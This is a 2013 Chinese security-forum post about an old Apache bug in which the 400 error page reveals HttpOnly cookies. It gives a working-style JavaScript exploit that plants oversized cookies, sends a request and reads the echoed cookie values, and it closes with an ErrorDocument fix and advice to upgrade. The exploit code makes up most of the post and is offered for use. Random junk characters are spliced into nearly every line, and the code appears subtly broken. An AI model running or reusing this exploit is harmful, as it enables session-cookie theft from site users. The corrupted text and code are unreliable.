找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2419|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。4 S0 }1 c7 Z6 r6 ~0 G: w+ [2 Q

8 X/ s3 ^' K' m. ^( i用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:/ G% X. o5 ~6 E4 I& o9 U% b
7 \* f# j  n2 @; e  i3 p
  J  d# E+ W' x# F3 Q
// http://www.exploit-db.com/exploits/18442/
+ ]9 c3 ?2 V$ ?function setCookies (good) {9 h' Z) V: F/ M* [- H- s
// Construct string for cookie value
! ^$ x( L  j; g! C5 G* O' yvar str = "";
2 A, [' [; |3 f8 F! Yfor (var i=0; i< 819; i++) {& E, A+ Y9 Q9 Y0 T- S2 L
str += "x";
  a2 |. l/ L& N  v$ b) K! m' j}
9 n9 o' y3 g# _4 e// Set cookies5 h* V- t( Z# w! y4 S$ c0 c
for (i = 0; i < 10; i++) {
4 [) o. H9 s- l5 I9 D- f0 P// Expire evil cookie
4 U+ \, Y" a/ B# R) U3 k+ c% zif (good) {1 t! s* c8 b  r  M, L$ ~5 S
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
) i( b. J/ W0 r) P) q+ N- m}
( p0 l* h; F) Z// Set evil cookie* f& k9 P& Y) B) Z! e
else {4 J% I5 K$ r( o5 I# o
var cookie = "xss"+i+"="+str+";path=/";5 b% E" Y+ ?6 n0 g4 t7 ]1 g8 Q
}
. J1 B4 B, y4 I+ _1 udocument.cookie = cookie;
1 w( x4 D6 n1 q' I7 G0 s}5 h$ a2 n* @  u1 b) E/ M2 k  b8 Y
}7 X- G5 B" l  z, ~( x* v4 |: q3 C7 f
function makeRequest() {2 j. ]- |% U' S- o2 n4 w
setCookies();% ~" C1 ^. t, ]/ _! F- e
function parseCookies () {
; ?. L+ c; z3 I7 p6 xvar cookie_dict = {};/ v8 b' x7 Q* M9 A1 s' N
// Only react on 400 status$ `- J9 a  B0 o$ S/ V" {! g% G
if (xhr.readyState === 4 && xhr.status === 400) {5 I  _! d+ \, n& t% \: C, r
// Replace newlines and match <pre> content
# p- z0 y" E; Z* }0 Qvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);3 z4 l5 ]5 X+ Q6 ?( ?7 P& ~
if (content.length) {1 J+ m8 u8 l4 ^5 N# i7 ]* ~1 A
// Remove Cookie: prefix7 S* x5 I( `  \, E" S1 ]
content = content[1].replace("Cookie: ", "");) A1 a5 V' u; G: r$ \8 _
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);3 b. O1 S% z4 B# l, M
// Add cookies to object& E4 n3 Y$ S* Z# O  i6 x
for (var i=0; i<cookies.length; i++) {
3 }" `6 _$ {) C) g1 nvar s_c = cookies.split('=',2);, \( J5 b7 z6 S( W
cookie_dict[s_c[0]] = s_c[1];
9 ]9 ^1 V' i! w( i}
% X8 F. y4 B* u; p6 `, o9 U}
8 S, C- X# e6 f& c& X" O// Unset malicious cookies
% o! w/ o5 i7 u( v- c  a5 lsetCookies(true);: j- ~. A7 @  ^( \+ p- d
alert(JSON.stringify(cookie_dict));; K; S6 F" l& C* e- R6 u7 V
}+ I% u  U2 d  d6 P# x8 M
}
$ R4 Y$ K; i$ b" w. }: b// Make XHR request- v; A# p, ]4 z" W& s9 Z) O* F4 M/ H
var xhr = new XMLHttpRequest();: u; {6 q" \0 u
xhr.onreadystatechange = parseCookies;& C! `( {1 R1 @$ w* p
xhr.open("GET", "/", true);
; s/ V! R/ @: S' P3 d* Gxhr.send(null);
6 h% t2 e' ]" A4 X0 b7 R2 H  B. ^}
4 C- F# d8 p0 C3 B. t! E7 GmakeRequest();4 v  U) J; X# V7 b9 `* i0 I% d7 D
- }& g" _' l: Y; R& t; ?6 S% H
你就能看见华丽丽的400错误包含着cookie信息。4 N( P; N- J1 C: W. L/ \& I

  Z& k( r* q; ~3 i下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
- x' r3 K6 S5 s& P. t( U) b. F. |4 B3 L$ R- q1 R/ ~! A
修复方案:. r! I5 ^; w* r6 Q) n9 a' \* H
3 d6 ~6 K) z7 I
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下, x5 A2 ~5 n8 w
. b8 A% d9 i& o9 l
In the event of a problem or error, Apachecan be configured to do one of four things,# v, x+ f& d5 k0 B: E& x5 ?' o) |
, m4 X- h$ J. J% E7 |% {7 Y
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息' [3 v# |- m. h) p5 c8 X; Y
2. output acustomized message输出一段信息
9 P; ?7 j* l2 ^, l( O8 `3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
! Y. W; z" M" b# U  y: u. h' _4. redirect to an external URL to handle theproblem/error转向一个外部URL
1 N1 O4 _7 S5 r9 d& k4 O9 D( I9 G
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
6 b, t0 H; U1 r0 V& a9 j
4 p( u& M& z; L/ E3 H+ `" l+ r2 k& zApache配置:4 Q8 S6 {) c, f  E6 B( V
  _+ ^0 U2 g4 A; D
ErrorDocument400 " security test"5 `" ?# F# Q2 v+ N' r
7 [- _# x, u% u1 Y
当然,升级apache到最新也可:)。
4 w) _& Q1 S; ~* d3 h# Y- x
' S3 N9 y# b) L0 B2 V参考:http://httpd.apache.org/security/vulnerabilities_22.html
- Z1 C1 E. N+ P1 p# K* H& O
; @1 E0 N0 j) U) l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表